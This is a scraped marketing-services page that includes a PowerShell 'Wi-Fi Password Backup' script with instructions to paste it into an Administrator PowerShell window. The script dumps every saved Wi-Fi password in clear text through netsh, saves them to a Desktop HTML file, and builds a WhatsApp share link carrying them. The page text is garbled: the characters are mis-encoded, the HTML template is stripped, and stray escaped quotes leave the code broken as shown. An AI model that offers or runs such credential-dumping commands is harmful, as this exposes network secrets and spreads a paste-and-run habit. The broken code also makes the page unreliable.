GurmanMarketing
š± Digital Marketing Queries, Connect on whatsapp
š®š³ India |
š©šŖ Germany
My Digital Marketing Services

Wi-Fi Password Backup
Custom, hand-coded web design solutions for responsive and user-friendly websites, avoiding drag-and-drop builders.
š Wi-Fi Password Backup
š Follow these steps to run the script in PowerShell:
- Open PowerShell as Administrator.
- Copy the entire script below.
- Paste it into the PowerShell window.
- Press Enter to execute and generate a detailed Wi-Fi report.
# Get all saved Wi-Fi profiles $profiles = netsh wlan show profiles | Select-String "All User Profile" | ForEach-Object { ($_ -split ":")[1].Trim() } # Get currently connected profile $lastConnected = (netsh wlan show interfaces) -match "^\s*SSID\s*:\s*(.+)$" | ForEach-Object { ($_ -replace "^\s*SSID\s*:\s*", "").Trim() } | Select-Object -First 1 # Prepare Wi-Fi data $wifiData = @() foreach ($profile in $profiles) { $profileData = netsh wlan show profile name="$profile" key=clear $keyInfo = $profileData | Select-String "Key Content" $authInfo = $profileData | Select-String "Authentication" $password = if ($keyInfo) { ($keyInfo -split ":")[1].Trim() } else { "[Open Network]" } $isSecure = if ($authInfo -match "Open") { $false } else { $true } $wifiData += [PSCustomObject]@{ Profile = $profile Password = $password IsSecure = $isSecure IsLastConnected = ($profile -eq $lastConnected) } } # Generate HTML table rows and text for WhatsApp message $tableRows = "" $whatsappText = "š¶ Saved Wi-Fi Profiles:%0A%0A" foreach ($wifi in $wifiData) { $rowClass = if ($wifi.IsLastConnected) { "highlight" } else { "" } $status = if ($wifi.IsLastConnected) { "āļø Connected" } elseif ($wifi.IsSecure) { "š Secured" } else { "š Open" } $tableRows += "`n" $whatsappText += "šø $($wifi.Profile): $($wifi.Password) [$status]%0A" } # Encode for WhatsApp Add-Type -AssemblyName System.Web $encodedMessage = [System.Web.HttpUtility]::UrlEncode($whatsappText) # Generate HTML $html = @" $($wifi.Profile) $($wifi.Password) $status Saved Wi-Fi Profiles Saved Wi-Fi Profiles
Wi-Fi Name | Password | Status |
---|
š¤ Share on WhatsApp "@ # Save to Desktop $desktopPath = [Environment]::GetFolderPath(\"Desktop\") $filePath = Join-Path $desktopPath \"WiFi_Profiles_Report.html\" $html | Out-File -FilePath $filePath -Encoding UTF8 Write-Host \"`nā File generated at: $filePath\"

SEO Optimization (On-Page & Off-Page)
Enhance visibility and rankings with effective on-page and off-page SEO strategies, including content optimization and backlinks.

Content Writing
High-quality, SEO-optimized content designed to engage your target audience and improve your online presence.

Social Media Organic Growth
Increase brand presence with organic social media strategies, fostering authentic connections and engagement without paid ads.

Website Modification
Update and improve your website with fresh designs, new features, and enhanced functionality to meet current trends.